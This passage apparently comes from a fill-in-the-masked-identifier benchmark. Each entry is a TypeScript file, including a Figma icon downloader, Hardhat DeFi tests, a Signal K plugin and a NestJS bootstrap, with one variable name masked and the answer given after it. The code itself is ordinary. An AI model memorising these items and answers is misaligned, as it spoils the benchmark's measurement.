        chalk.red('-> Missing required environment variables. Please check your .env file.')
    )
    process.exit(1)
}

const delay = (ms: number): Promise<void> => new Promise((res) => setTimeout(res, ms))

const filesToDelete: string[] = []

const graphQLDir = path.resolve(__dirname, 'GraphQL')
fs.ensureDirSync(graphQLDir)
const tempFilePath = path.resolve(graphQLDir, 'figma_response.json')
const pngImagesUrlsPath = path.resolve(graphQLDir, 'pngImagesUrl.json')
const svgImagesUrlsPath = path.resolve(graphQLDir, 'svgImagesUrl.json')
const mapperFilePath = path.resolve(graphQLDir, 'mapper.json')
filesToDelete.push(mapperFilePath)
filesToDelete.push(tempFilePath)
filesToDelete.push(pngImagesUrlsPath)
filesToDelete.push(svgImagesUrlsPath)
const iconMapper: IconMapper = {}

try {
    ;(async () => {
        try {
            console.log(chalk.blueBright('1. Using curl to fetch data from Figma API...'))

            // Create environment variables object for curl that preserves proxy settings
            const execEnvironment = { ...process.env }

            // Enhanced curl command with progress display and file output
            const curlCommand = `curl -s -o ""${tempFilePath}"" -H ""X-Figma-Token: ${FIGMA_API_TOKEN}"" ""${FIGMA_CANVAS_URL}""`

            //// Uncomment the following lines to debug

            // console.log(chalk.blue('-> Executing curl command with proxy settings:'));
            // console.log(chalk.blue('   HTTP_PROXY:'), execEnvironment.HTTP_PROXY || 'not set');
            // console.log(chalk.blue('   HTTPS_PROXY:'), execEnvironment.HTTPS_PROXY || 'not set');
            // console.log(chalk.blue('   NO_PROXY:'), execEnvironment.NO_PROXY);
            // console.log(chalk.blue('   Output file:'), tempFilePath);
            // console.log(chalk.blue('   Command:'), curlCommand);

            // Execute curl with inherit stdio to show real-time progress
            try {
                execFileSync(
                    'curl',
                    [
                        '-s',
                        '-o',
                        tempFilePath,
                        '-H',
                        `X-Figma-Token: ${FIGMA_API_TOKEN}`,
                        FIGMA_CANVAS_URL
                    ],
                    {
                        timeout: 120000,
                        env: execEnvironment
                    }
                )
            } catch (error) {
                console.error(chalk.red('   Error fetching data from Figma API:'), error)
                throw error
            }

            // Read from file
            console.log(chalk.blueBright('2. Reading response from file...'))
            const fileData = fs.readFileSync(tempFilePath, 'utf-8')

            // Parse the JSON response
            const fullData = JSON.parse(fileData)
            const { document } = fullData
            const data: IconFontData = { document }
            fs.writeFileSync(tempFilePath, JSON.stringify(data, null, 2))
            console.log(chalk.green('   Successfully parsed JSON data'))
            console.log(chalk.gray('   Data size:'), Math.round(fileData.length / 1024), 'KB')
            console.log(chalk.gray('   Data structure:'), Object.keys(data).join(', '))
            const figmaUrlParts = FIGMA_CANVAS_URL.split('/')
            const figmaFileKey = figmaUrlParts[figmaUrlParts.length - 1].split('?')[0]
            const figmaDocumentId =
                figmaUrlParts[figmaUrlParts.length - 1].split('?')[1]?.split('=')[1] || null

            if (!figmaDocumentId) {
                console.error(chalk.red('   Error: Document ID not found in the URL'))
                process.exit(1)
            }

            //Images download URLs
            console.log(chalk.blueBright('3. Creating Images download PNG URLs'))
            const allPNGImageUrls = await getImageUrls(
                data,
                'png',
                figmaFileKey,
                figmaDocumentId,
                execEnvironment,
                pngImagesUrlsPath
            )
            console.log(chalk.blueBright('4. Creating Images download SVG URLs'))
            const allSVGImageUrls = await getImageUrls(
                data,
                'svg',
                figmaFileKey,
                figmaDocumentId,
                execEnvironment,
                svgImagesUrlsPath
            )

            // Download images
            console.log(chalk.blueBright('5. Downloading PNG icons'))
            await downloadImages(allPNGImageUrls, data, execEnvironment, 'png')
            console.log(chalk.blueBright('6. Downloading SVG icons'))
            await downloadImages(allSVGImageUrls, data, execEnvironment, 'svg')

            // Clean up temporary files, comment this to debug.
            console.log(chalk.blueBright(`7. Deleted temporary files.`))
            filesToDelete.forEach((file) => {
                try {
                    fs.unlinkSync(file)
                    console.log(chalk.gray(`   Deleted temporary file: ${file}`))
                } catch (err) {
                    console.error(chalk.red(`   Error deleting file ${file}:`), err)
                }
            })

            console.log(chalk.greenBright('🏆 Done!'))
        } catch (err: any) {
            console.error(chalk.red('   Error:'), err.message)
            process.exit(1)
        }
    })()
} catch (error) {
    console.error(chalk.red('   Unexpected error:'), error)
    process.exit(1)
}
async function getImageUrls(
    data: IconFontData,
    imageType: string,
    figmaFileKey: string,
    figmaDocumentId: string,
    execEnvironment: any,
    fileName: string
) {
    let allImageUrls = {}
    const iconKeysArray: string[] = []

    const canvasDocument = Array.isArray(data.document.children)
        ? data.document.children.find((doc) => doc.id === figmaDocumentId)
        : undefined

    console.log(chalk.yellow(`    Looking for icons in node-id ${figmaDocumentId}`))
    if (canvasDocument) {
        canvasDocument.children.forEach((group: FigmaDocument) => {
            if (group.type === 'GROUP') {
                group.children.forEach(( [MASK] : FigmaDocument) => {
                    if ( [MASK] .type === 'COMPONENT_SET') {
                        const iconName =  [MASK] .name
                         [MASK] .children.forEach((component: FigmaDocument) => {
                            if (component.type === 'COMPONENT') {
                                const variant = component.name
                                    .replace('font-weight=', '')
                                    .toLowerCase()
                                component.children.forEach((icon: FigmaDocument) => {
                                    if (icon.type === 'VECTOR') {
                                        const iconId = icon.id
                                        iconKeysArray.push(iconId)
                                        iconMapper[iconId] = {
                                            name: iconName,
                                            variant: variant
                                        }
                                    }
                                })
                            }
                        })
                    }
                })
            }
        })

        fs.writeFileSync(mapperFilePath, JSON.stringify(iconMapper, null, 2))

        console.log(chalk.yellow(`    Found ${iconKeysArray.length} icons`))
        // Get Figma file key from the URL
        console.log(chalk.gray('    Using Figma file key:'), figmaFileKey)

        // Batch process the icons - X icons per request
        const BATCH_SIZE = 400
        const batches = []

        // Split iconKeysArray into batches
        for (let i = 0; i < iconKeysArray.length; i += BATCH_SIZE) {
            batches.push(iconKeysArray.slice(i, i + BATCH_SIZE))
        }

        console.log(chalk.yellow(`    Split download into ${batches.length} ${imageType} batches`))

        // Process each batch
        for (let i = 0; i < batches.length; i++) {
            const batch = batches[i]
            const batchKeysString = batch.join(',')

            console.log(
                chalk.gray(
                    `    Processing  ${imageType} batch ${i + 1}/${batches.length} (${
                        batch.length
                    } icons)`
                )
            )

            // Create a temporary file for this batch
            const batchFilePath = path.resolve(graphQLDir, `batch_${imageType}_${i + 1}.json`)
            filesToDelete.push(batchFilePath)

            const curlImagesURLCommand = `curl -s -o ""${batchFilePath}"" -H ""X-Figma-Token: ${FIGMA_API_TOKEN}"" ""https://api.figma.com/v1/images/${figmaFileKey}?ids=${batchKeysString}&format=${imageType}""`

            console.log(chalk.yellow(`    Downloading URLs for ${imageType} batch ${i + 1}`))
            // Execute curl with inherit stdio to show real-time progress
            try {
                execFileSync(
                    'curl',
                    [
                        '-s',
                        '-o',
                        batchFilePath,
                        '-H',
                        `X-Figma-Token: ${FIGMA_API_TOKEN}`,
                        `https://api.figma.com/v1/images/${figmaFileKey}?ids=${batchKeysString}&format=${imageType}`
                    ],
                    {
                        timeout: 120000,
                        env: execEnvironment
                    }
                )

                // Read and process the batch response
                const batchData = JSON.parse(fs.readFileSync(batchFilePath, 'utf-8'))

                // Merge image URLs
                if (batchData && batchData.images) {
                    allImageUrls = { ...allImageUrls, ...batchData.images }
                    console.log(
                        chalk.green(`    Successfully got URLs for ${imageType} batch ${i + 1}`)
                    )
                } else {
                    console.error(
                        chalk.red(`    Batch ${i + 1} response doesn't contain image URLs`)
                    )
                }
            } catch (err) {
                console.error(chalk.red(`    Error downloading batch ${i + 1}:`), err)
            }

            // Add a small delay between batches to avoid rate limiting
            if (i < batches.length - 1) {
                console.log(
                    chalk.gray(`    ⌛ Waiting 2 seconds before next ${imageType} batch...`)
                )
                await delay(2000)
            }
        }

        // Save all image URLs to a single file
        fs.writeFileSync(fileName, JSON.stringify({ images: allImageUrls }, null, 2))
        console.log(
            chalk.gray(`    Got URLs for ${Object.keys(allImageUrls).length} ${imageType} icons`)
        )
        console.log(chalk.gray(`    All ${imageType} image URLs saved to ${fileName}`))
        return allImageUrls
    } else {
        console.error(
            chalk.red(`    Error: Document with ID ${figmaDocumentId} not found in the response`)
        )
        return allImageUrls
    }
}

async function downloadImages(
    allImageUrls: any,
    data: IconFontData,
    execEnvironment: any,
    imageType: string
) {
    const totalIcons = Object.keys(allImageUrls).length
    let currentIcon = 0

    for (const [ImageID, ImageUrl] of Object.entries(allImageUrls) as [string, string][]) {
        const ImageFileName = iconMapper[ImageID].name + '.' + imageType || null
        const variant = iconMapper[ImageID].variant || null

        if (ImageFileName !== null && variant !== null) {
            const folder = path.resolve(__dirname, 'icons', `${imageType}s`, variant)
            console.log(
                chalk.gray(
                    `    Downloading Image: ${ImageFileName} ${variant}  (${
                        currentIcon + 1
                    }/${totalIcons})`
                )
            )

            // Create Image directory if it doesn't exist
            fs.ensureDirSync(folder)

            const outputFilePath = path.join(folder, ImageFileName)
            try {
                execFileSync('curl', ['-s', '-o', outputFilePath, ImageUrl.toString()], {
                    timeout: 30000,
                    env: execEnvironment
                })
            } catch (error) {
                console.error(chalk.red(`    Error downloading ${ImageFileName}:`), error)
            }
        } else {
            console.error(
                chalk.underline.yellow(
                    `    Warning: ImageFileName or variant is undefined for ImageID: ${ImageID}`
                )
            )
        }

        currentIcon++
    }
    console.log(chalk.green(`    All ${currentIcon} ${imageType} images were downloaded`))
}
",componentSet
799,"import { SwapHelperStruct } from ""typechain/ConvexAssetProxy"";
import { expect } from ""chai"";
import { BigNumber, Signer } from ""ethers"";
import { ethers, waffle, network } from ""hardhat"";

import { ConvexFixtureInterface, loadConvexFixture } from ""./helpers/deployer"";
import { createSnapshot, restoreSnapshot } from ""./helpers/snapshots"";

import { impersonate, stopImpersonating } from ""./helpers/impersonate"";
import { subError } from ""./helpers/math"";
import { advanceBlock } from ""./helpers/time"";
import ""dotenv/config"";

const { provider } = waffle;

describe(""Convex Asset Proxy"", () => {
  let users: { user: Signer; address: string }[];
  let fixture: ConvexFixtureInterface;
  // address of a large usdc holder to impersonate. 69 million usdc as of block 11860000
  const usdcWhaleAddress = ""0xAe2D4617c862309A3d75A0fFB358c7a5009c673F"";
  let user0LPStartingBalance: BigNumber;
  let user1LPStartingBalance: BigNumber;
  const alchemy_key = process.env.ALCHEMY_KEY;

  before(async () => {
    // snapshot initial state
    await createSnapshot(provider);

    // We need to fast forward in time relative to the previous pinned block number
    // The LUSD-3CRV pool was deployed at block 12184843, and our hardhat config currently
    // pins block 11853372
    await network.provider.request({
      method: ""hardhat_reset"",
      params: [
        {
          forking: {
            jsonRpcUrl: `https://eth-mainnet.alchemyapi.io/v2/${alchemy_key}`,
            // block at Mar-23-2022 08:34:43 AM +UTC
            blockNumber: 14441489,
          },
        },
      ],
    });

    const signers = await ethers.getSigners();
    // load all related contracts
    fixture = await loadConvexFixture(signers[0]);

    // begin to populate the user array by assigning each index a signer
    users = signers.map(function (user) {
      return { user, address: """" };
    });

    // finish populating the user array by assigning each index a signer address
    await Promise.all(
      users.map(async (userInfo) => {
        const { user } = userInfo;
        userInfo.address = await user.getAddress();
      })
    );

    impersonate(usdcWhaleAddress);
    const usdcWhale = await ethers.provider.getSigner(usdcWhaleAddress);

    await fixture.usdc.connect(usdcWhale).transfer(users[0].address, 2e11); // 200k usdc
    await fixture.usdc.connect(usdcWhale).transfer(users[1].address, 2e11); // 200k usdc
    await fixture.usdc.connect(usdcWhale).transfer(users[2].address, 2e11); // 200k usdc

    stopImpersonating(usdcWhaleAddress);

    // Let's deposit into Curve Pool to get LUSD-3CRV LP tokens back
    await fixture.usdc
      .connect(users[0].user)
      .approve(fixture.curveZap.address, 10e11);
    await fixture.usdc
      .connect(users[1].user)
      .approve(fixture.curveZap.address, 10e11);
    await fixture.curveZap
      .connect(users[0].user)
      .add_liquidity(fixture.curveMetaPool, [0, 0, 2e11, 0], 0);
    await fixture.curveZap
      .connect(users[1].user)
      .add_liquidity(fixture.curveMetaPool, [0, 0, 2e11, 0], 0);

    user0LPStartingBalance = await fixture.lpToken.balanceOf(users[0].address);
    user1LPStartingBalance = await fixture.lpToken.balanceOf(users[1].address);

    // Approve the wrapped position to access our LP tokens
    await fixture.lpToken
      .connect(users[0].user)
      .approve(fixture.position.address, ethers.constants.MaxUint256);
    await fixture.lpToken
      .connect(users[1].user)
      .approve(fixture.position.address, ethers.constants.MaxUint256);
  });

  // After we reset our state in the fork
  after(async () => {
    await restoreSnapshot(provider);

    // After running all of these tests, reset back to the original pinned block
    await network.provider.request({
      method: ""hardhat_reset"",
      params: [
        {
          forking: {
            jsonRpcUrl: `https://eth-mainnet.alchemyapi.io/v2/${alchemy_key}`,
            blockNumber: 11853372,
          },
        },
      ],
    });
  });

  // Before each we snapshot
  beforeEach(async () => {
    await createSnapshot(provider);
  });
  // After we reset our state in the fork
  afterEach(async () => {
    await restoreSnapshot(provider);
  });

  describe(""deposit"", () => {
    beforeEach(async () => {
      await createSnapshot(provider);
    });
    // After we reset our state in the fork
    afterEach(async () => {
      await restoreSnapshot(provider);
    });

    it(""deposits correctly"", async () => {
      await fixture.position
        .connect(users[0].user)
        .deposit(users[0].address, user0LPStartingBalance);
      const balance = await fixture.position.balanceOf(users[0].address);
      // Allows a 0.01% conversion error
      expect(balance).to.be.at.least(
        subError(ethers.BigNumber.from(user0LPStartingBalance))
      );
    });

    it(""Allows for two deposits correctly"", async () => {
      const minimumBalanceLpTokens = user0LPStartingBalance.gt(
        user1LPStartingBalance
      )
        ? user1LPStartingBalance
        : user0LPStartingBalance;

      await fixture.position
        .connect(users[0].user)
        .deposit(users[0].address, minimumBalanceLpTokens);
      await fixture.position
        .connect(users[1].user)
        .deposit(users[1].address, minimumBalanceLpTokens);
      const user0Balance = await fixture.position.balanceOf(users[0].address);
      const  [MASK]  = await fixture.position.balanceOf(users[1].address);

      // They are the only two depositors and deposit same amount, so they should have same shares
      expect(user0Balance).to.be.eq( [MASK] );
    });

    it(""fails to deposit amount greater than available"", async () => {
      const tx = fixture.position
        .connect(users[1].user)
        .deposit(
          users[1].address,
          user1LPStartingBalance.add(ethers.constants.WeiPerEther)
        );
      await expect(tx).to.be.reverted;
    });
  });
  describe(""withdraw"", () => {
    it(""withdraws correctly"", async () => {
      await fixture.position
        .connect(users[0].user)
        .deposit(users[0].address, user0LPStartingBalance);
      const shareBalance = await fixture.position.balanceOf(users[0].address);
      await fixture.position
        .connect(users[0].user)
        .withdraw(users[0].address, shareBalance, 0);
      expect(await fixture.position.balanceOf(users[0].address)).to.equal(0);
      // Should get all their LP tokens back
      expect(await fixture.lpToken.balanceOf(users[0].address)).to.be.eq(
        user0LPStartingBalance
      );
    });
    it(""fails to withdraw more shares than in balance"", async () => {
      // withdraw 10 shares from user with balance 0
      const tx = fixture.position
        .connect(users[4].user)
        .withdraw(users[4].address, 10, 0);
      await expect(tx).to.be.reverted;
    });
    // test withdrawUnderlying to verify _underlying calculation
    it(""withdrawUnderlying correctly"", async () => {
      await fixture.position
        .connect(users[0].user)
        .deposit(users[0].address, user0LPStartingBalance);
      const shareBalance = await fixture.position.balanceOf(users[0].address);
      // Withdraw to get 1/2 LP tokens sent to user2
      await fixture.position
        .connect(users[0].user)
        .withdrawUnderlying(users[2].address, shareBalance.div(2), 0);
      expect(await fixture.position.balanceOf(users[2].address)).to.equal(0);
      expect(await fixture.lpToken.balanceOf(users[2].address)).to.equal(
        shareBalance.div(2)
      );
    });
  });
  describe(""rewards"", () => {
    it(""Harvests rewards correctly"", async () => {
      await fixture.position
        .connect(users[0].user)
        .deposit(users[0].address, user0LPStartingBalance);

      // Now simulate passage of time to accrue CRV, CVX rewards
      const blocks_per_day = 5760;
      const days_to_simulate = 3;
      for (let i = 0; i < blocks_per_day * days_to_simulate; i++) {
        await advanceBlock(provider);
      }

      // Now let the owner (user[0]) approve user 4 as an authorized harvester
      await fixture.position.connect(users[0].user).authorize(users[4].address);

      // Now check deposited token balance before & after for our wrapped position
      // Also check balance of LP token for harvester to ensure they received a bounty
      const stakedRewardTokenBalanceBefore =
        await fixture.rewardsContract.balanceOf(fixture.position.address);
      const harvesterLpTokenBalanceBefore = await fixture.lpToken.balanceOf(
        users[4].address
      );

      // Now trigger a harvest
      // First, create our struct helpers for crv, cvx
      const crvHelper: SwapHelperStruct = {
        token: fixture.crv.address,
        deadline: ethers.constants.MaxUint256,
        amountOutMinimum: 0,
      };
      const cvxHelper: SwapHelperStruct = {
        token: fixture.cvx.address,
        deadline: ethers.constants.MaxUint256,
        amountOutMinimum: 0,
      };

      await fixture.position
        .connect(users[4].user)
        .harvest([crvHelper, cvxHelper]);

      // Now we should have more convexDeposit Token
      const stakedRewardTokenBalanceAfter =
        await fixture.rewardsContract.balanceOf(fixture.position.address);
      expect(stakedRewardTokenBalanceAfter).to.be.gt(
        stakedRewardTokenBalanceBefore
      );

      // Harvester should have received a bounty
      const harvesterLpTokenBalanceAfter = await fixture.lpToken.balanceOf(
        users[4].address
      );
      expect(harvesterLpTokenBalanceAfter).to.be.gt(
        harvesterLpTokenBalanceBefore
      );
    });

    it(""fails for unauthorized user"", async () => {
      const crvHelper: SwapHelperStruct = {
        token: fixture.crv.address,
        deadline: ethers.constants.MaxUint256,
        amountOutMinimum: 0,
      };
      const cvxHelper: SwapHelperStruct = {
        token: fixture.cvx.address,
        deadline: ethers.constants.MaxUint256,
        amountOutMinimum: 0,
      };

      const tx = fixture.position
        .connect(users[4].user)
        .harvest([crvHelper, cvxHelper]);
      await expect(tx).to.be.reverted;
    });
  });
});
",user1Balance
800,"import type { Config, ResourcePlugin, Resource, RollupPlugin } from '@greenwood/cli';
import { greenwoodPluginGoogleAnalytics } from '@greenwood/plugin-google-analytics';
import { greenwoodPluginPostCss } from '@greenwood/plugin-postcss';
import analyze from 'rollup-plugin-analyzer';
import { visualizer } from 'rollup-plugin-visualizer';
import * as dynamicImportVariables from '@rollup/plugin-dynamic-import-vars';

class ProcessEnvReplaceResource {
  async shouldIntercept(url: URL) {
    return url.pathname.endsWith('redux.mjs');
  }

  async intercept(url: URL, request: Request, response: Response) {
    const body = await response.text();
    const env = process.env.__GWD_COMMAND__ === 'develop' ? 'development' : 'production';
    const  [MASK]  = body.replace(/process.env.NODE_ENV/g, `""${env}""`);

    return new Response( [MASK] , {
      headers: new Headers({
        'Content-Type': 'text/javascript'
      })
    });
  }
}

const processEneReplaceResourcePlugin: ResourcePlugin = {
  type: 'resource',
  name: 'process-env-replace',
  provider: (): Resource => new ProcessEnvReplaceResource()
}

const customRollupPlugins: RollupPlugin[] = [
  {
    type: 'rollup',
    name: 'rollup-plugin-import-vars',
    provider: () => {
      return [
        dynamicImportVariables.default
      ];
    }
  },
  {
    type: 'rollup',
    name: 'rollup-plugin-analyzer',
    provider: () => {
      return [
        analyze({
          summaryOnly: true,
          filter: (module) => {
            return !module.id.endsWith('.html');
          }
        })
      ];
    }
  }, {
    type: 'rollup',
    name: 'rollup-plugin-visualizer',
    provider: () => {
      return [
        visualizer({
          filename: 'reports/stats.html'
        })
      ];
    }
  }
]

const config: Config = {
  optimization: 'inline',
  useTsc: true,
  devServer: {
    proxy: {
      '/api': 'https://www.analogstudios.net'
    }
  },
  polyfills: {
    importAttributes: ['css', 'json']
  },
  plugins: [
    greenwoodPluginPostCss(),
    // https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications
    greenwoodPluginGoogleAnalytics({
      analyticsId: 'UA-69272660-1'
    }),
    processEneReplaceResourcePlugin,
    ...customRollupPlugins
  ]
}

export default config;",contents
801,"/*
 * Copyright 2021 <NAME> <<EMAIL>>
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

const canboatMappings = require('./pgns')
const n2kMappings = require('./n2k-signalk')

export default function (app: any) {
  const error = app.error
  const debug = app.debug
  let onStop: any = []
  let n2kOutEvent: string
  let allowPUT: boolean

  function onDelta (delta: any) {
    if (delta.updates) {
      delta.updates.forEach((update: any) => {
        if (update.values) {
          update.values
            .map((pv: any) => {

              return {
                prio: 6,
                src: 3,
                dst: 255,
                pgn: 126720,
                fields: {
                  ""Manufacturer Code"": 999,
                  ""Industry Code"": 4,
                  ""Proprietary ID"": 1,
                  ""Context"": ""vessels.self"",
                  SourceId: update.$source,
                  Path: pv.path,
                  Value: pv.value != null ? JSON.stringify(pv.value) : null
                }
              }
            })
            .forEach((pgn: any) => {
              debug('sending %j', pgn)
              app.emit(n2kOutEvent, pgn)
            })
        }
      })
    }
  }

  function putCallBack(res:any) {
    if ( res.state === 'COMPLETED' && res.statusCode !== 200 ) {
      app.error('unable to send PUT: ' + JSON.stringify(res))
    }
  }
  
  function canboatCallback(pgn:any) {
    const val = !pgn.fields.Value || pgn.fields.Value === 'null' ? null : JSON.parse(pgn.fields.Value)
    const context = !pgn.fields.Context ? 'vessels.self' : pgn.fields.Context
    
    if ( pgn.fields['Proprietary ID'] === ""Put"" ) {
      if ( !allowPUT ) {
        app.error('PUTs not allowed')
      } else {
        app.putPath(`${context}.${pgn.fields.Path}`, val, putCallBack)
      }
    } else if ( pgn.fields['Proprietary ID'] === ""Meta"" ) {
      app.handleMessage(`signalk-over-n2k.${pgn.src}`, {
        context,
        updates: [{
          meta: [
            {
              path: pgn.fields.Path,
              value: val
            }
          ]
        }]
      })
    }
  }

  const  [MASK] : Plugin = {
    start: function (props: any) {
      n2kOutEvent = props.n2kOutEvent || 'nmea2000JsonOut'
      allowPUT = props.allowPUT
      
      canboatMappings.PGNs.forEach((mapping:any) => {
        mapping.callback = canboatCallback
      })
      app.emitPropertyValue('canboat-custom-pgns', canboatMappings)
      app.emitPropertyValue('pgn-to-signalk', {
        126720: n2kMappings
      })

      if (props.paths) {
        const subscriptions = props.paths.map((pi: any) => {
          return { path: pi.path, period: 1000 }
        })

        app.subscriptionmanager.subscribe(
          {
            context: 'vessels.self',
            subscribe: subscriptions
          },
          onStop,
          (err: any) => {
            app.setProviderError(err)
          },
          onDelta
        )
      }
    },

    stop: function () {
      onStop.forEach((f: any) => f())
      onStop = []
    },

    id: 'signalk-over-n2k',
    name: 'N2K Over Signal K',
    description: 'Signal K Plugin which can read and send Signal K deltas over the NMEA2000 bus',
    schema: {
      type: 'object',
      properties: {
        n2kOutEvent: {
          type: 'string',
          title: 'NMEA2000 Out Event',
          description: 'The event to emit to send nmea2000, defaults to nmea2000JsonOut',
          default: 'nmea2000JsonOut'
        },
        allowPUT: {
          type: 'boolean',
          title: 'Allow PUTs',
          description: 'Allow PUT requests from the nmea2000 network',
          default: false
        },
        paths: {
          title: 'Paths to send over n2k',
          type: 'array',
          items: {
            type: 'object',
            properties: {
              path: {
                type: 'string',
                title: 'Path',
                description: 'The full Signal K path, wild cards supported'
              }
            }
          }
        }
      }
    }
  }

  return  [MASK] 
}

interface Plugin {
  start: (app: any) => void
  stop: () => void
  id: string
  name: string
  description: string
  schema: any
}
",plugin
802,"import type { MarkdownInstance } from 'astro'
import type { BlogFrontmatter } from './types'

export async function getBlogPosts(
     [MASK] : number | undefined = undefined
): Promise<MarkdownInstance<BlogFrontmatter<Date>>[]> {
    const blogPostImports = import.meta.glob<
        MarkdownInstance<BlogFrontmatter<string>>
    >('/src/pages/blog/*.md')

    const blogPosts = await Promise.all(
        Object.values(blogPostImports).map((fn) => fn())
    )

    return blogPosts
        .map((post) => ({
            ...post,
            frontmatter: {
                ...post.frontmatter,
                date: new Date(post.frontmatter.date),
            },
        }))
        .sort(
            (a, b) =>
                b.frontmatter.date.getTime() - a.frontmatter.date.getTime()
        )
        .slice(0,  [MASK] )
}
",maxCount
803,"// ### Line plot [(source)](https://github.com/wwwtyro/candygraph/blob/master/docs/examples/src/{{filename}})
// <canvas id=""ex-00100"" style=""box-shadow: 0px 0px 8px #ccc;"" width=384 height=384></canvas>

// skip-doc-start
import CandyGraph, {
  createDefaultFont,
  OrthoAxis,
  LinearScale,
  CartesianCoordinateSystem,
  LineStrip,
} from ""../../../src"";

export default async function SimplePlot(cg: CandyGraph) {
  // Generate some x & y data.
  const xs = [];
  const ys = [];
  for (let x = 0; x <= 1; x += 0.001) {
    xs.push(x);
    ys.push(0.5 + 0.25 * Math.sin(x * 2 * Math.PI));
  }

  // Scale the canvas by the device pixel ratio.
  const dpr = window.devicePixelRatio;
  const canvas = document.getElementById(""ex-00100"") as HTMLCanvasElement;
  canvas.style.width = `${canvas.width}px`;
  canvas.style.height = `${canvas.height}px`;
  canvas.width *= dpr;
  canvas.height *= dpr;

  // Create a viewport. Units are in pixels.
  const viewport = { x: 0, y: 0, width: 384 * dpr, height: 384 * dpr };

  // Create a coordinate system from two linear scales. Note
  // that we add 32 pixels of padding to the left and bottom
  // of the viewport, and 16 pixels to the top and right.
  const  [MASK]  = new CartesianCoordinateSystem(
    cg,
    new LinearScale([0, 1], [32 * dpr, viewport.width - 16 * dpr]),
    new LinearScale([0, 1], [32 * dpr, viewport.height - 16 * dpr])
  );

  const font = await createDefaultFont(cg);

  // Clear the viewport.
  cg.clear([1, 1, 1, 1]);

  // Render the a line strip representing the x & y data, and axes.
  cg.render( [MASK] , viewport, [
    new LineStrip(cg, xs, ys, {
      colors: [1, 0.5, 0.0, 1],
      widths: 3 * dpr,
    }),
    new OrthoAxis(cg,  [MASK] , ""x"", font, {
      labelSide: 1,
      tickOffset: -2.5 * dpr,
      tickLength: 6 * dpr,
      tickStep: 0.2,
      tickWidth: 1 * dpr,
      axisWidth: 1 * dpr,
      labelSize: 12 * dpr,
      labelFormatter: (n) => n.toFixed(1),
    }),
    new OrthoAxis(cg,  [MASK] , ""y"", font, {
      tickOffset: 2.5 * dpr,
      tickLength: 6 * dpr,
      tickStep: 0.2,
      tickWidth: 1 * dpr,
      axisWidth: 1 * dpr,
      labelSize: 12 * dpr,
      labelFormatter: (n) => n.toFixed(1),
    }),
  ]);

  // Copy the plot to a new canvas and add it to the document.
  cg.copyTo(viewport, document.getElementById(""ex-00100"") as HTMLCanvasElement);
}
",coords
804,"import { Component, OnInit } from '@angular/core';
import { Router } from '@angular/router';
import { ApplicantDetails } from 'src/app/domain/applicant';
import { EmployeeDetails } from 'src/app/domain/employee';
import { Interviewer } from 'src/app/domain/interviwer';
import { Login } from 'src/app/domain/login';
import { GetLoginDetailsService } from 'src/app/services/get-login-details.service';
import { InterviewerService } from 'src/app/services/interviewer.service';

@Component({
  selector: 'app-get-candidate',
  templateUrl: './get-candidate.component.html',
  styleUrls: ['./get-candidate.component.css']
})
export class GetCandidateComponent implements OnInit {
interviewer :Interviewer=new Interviewer();
login:Login=new Login();
employeeDetails: EmployeeDetails=new EmployeeDetails();
applicantDetails:ApplicantDetails=new ApplicantDetails();
candidateList:ApplicantDetails[]=[];
applicantList:Interviewer[]=[];
  constructor(private router:Router,
    private getLoginDetails: GetLoginDetailsService, 
    private interviewerService:InterviewerService) { }

    ngOnInit(): void {
      this.login = JSON.parse(sessionStorage.getItem('login') || '{}');
      this.getLoginDetails.getEmployeeDetails(this.login.loginId).subscribe(data => {
        this.employeeDetails = data;
        console.log(this.employeeDetails);
        
        this.interviewerService.getAllCandidates(this.employeeDetails.employeeId).subscribe(
          data => {
            console.log(""in reload data"");
  
            this.applicantList = data;
            console.log(this.applicantList);
  
  
          }
        );
      });
  
    }


    updateResult( [MASK] :number){
      console.log(""updateResult()"");
      console.log( [MASK] );
      this.router.navigate(['updateCandidate', [MASK] ]);
      
      
    }

}
",interviewId
805,"import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';

// Adapter do fastify
import {
  FastifyAdapter,
  NestFastifyApplication,
} from '@nestjs/platform-fastify';

import { execSync } from 'child_process';
import { Logger } from '@nestjs/common';
import { applyGlobalConfig } from './global-config';
import { DocumentBuilder, SwaggerModule } from '@nestjs/swagger'

async function bootstrap() {
  const app = await NestFactory.create<NestFastifyApplication>(
    AppModule,
    new FastifyAdapter()
  );

  Logger.log(`Context: ${process.env.NODE_ENV}`, 'BootStrap');

  if (process.env.NODE_ENV === 'development') {
    // Execute any pending migration to the environment
    Logger.log(""Running development migrations ..."", 'BootStrap');
    execSync(""npx dotenv -e .env.development -- npx prisma migrate dev --schema ./src/shared/infrastructure/database/prisma/schema.prisma"");
    Logger.log(""Migrations were applied."", 'BootStrap');
  }

  const  [MASK]  = new DocumentBuilder()
    .setTitle('NestJS Simple API Implementation')
    .setDescription('This is a simple implementation of a RESTFULL API, using NestJS and PostGres.')
    .setVersion('1.0.0')
    .addBearerAuth({
      description: 'Inform JWT to authorize the access',
      name: 'Authorization',
      scheme: 'Bearer',
      type: 'http',
      in: 'Header'
    }).build();

  const document = SwaggerModule.createDocument(app,  [MASK] );
  SwaggerModule.setup('api', app, document);

  applyGlobalConfig(app);

  // '0.0.0.0' to accept connection from other hosts.
  await app.listen(3000, '0.0.0.0');

}

bootstrap();",swaggerConfig
806,"import { getPayload } from ""@/api/ws/index""
import { Callback, Signal, Target } from ""@/api/ws/interface""
import { getIsOnline } from ""@/redux/config/configSelector""
import { configActions } from ""@/redux/config/configSlice""
import store from ""@/store""
import {
  ADD_DISPLAY_NAME,
  DisplayNameGenerator,
  REMOVE_DISPLAY_NAME,
  UPDATE_DISPLAY_NAME,
} from ""@/utils/generators/generateDisplayName""
import { getLocalStorage } from ""@/utils/storage""

const HEARTBEAT_PING_TIMEOUT = 2 * 1000
const HEARTBEAT_PONG_TIMEOUT = 5 * 1000
const RECONNECT_TIMEOUT = 5 * 1000
const REPEAT_LIMIT = 5

const pingMessage = JSON.stringify({
  signal: 0,
  option: 0,
  target: 0,
  payload: [],
  broadcast: null,
})

export class ILLAWebsocket {
  url: string
  ws: WebSocket | null = null
  repeat: number = 0
  lockReconnect: boolean = false
